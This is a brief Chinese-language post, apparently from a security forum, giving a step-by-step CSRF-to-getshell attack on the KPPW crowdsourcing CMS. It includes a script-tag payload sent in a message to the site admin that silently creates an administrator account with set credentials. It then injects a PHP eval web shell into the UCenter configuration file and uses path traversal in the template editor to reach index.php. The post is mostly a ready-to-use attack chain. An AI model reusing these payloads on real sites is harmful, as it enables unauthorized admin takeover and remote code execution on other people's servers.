客客威客系统CSRF+getshell

求不封号.
1.注册会员
2.http://127.0.0.1/index.php?do=user&view=message&msg_type=write
3.发送给admin,默认创史人,<script src=http://127.0.0.1/control/admin/index.php?do=user&view=add&edituid=&fds%5Busername%5D=kppw&fds%5Bpassword%5D=kppwkppw&fds%5Bemail%5D=kppw%40kppw.com&fds%5Bgroup_id%5D=1&is_submit=1 ></script>
4.http://127.0.0.1/control/admin/index.php kppw kppwkppw
5.(1)gpc off 全局配置 会员整合 UCENTER 编码 修改为');eval($_POST[a])?>; 连接http://127.0.0.1/config/config_ucenter.php
(2)http://127.0.0.1/control/admin/index.php?do=tpl&view=edit_tpl&tplname=default&tname=../../index.php

贴代码太累. 有兴趣自己下个看吧.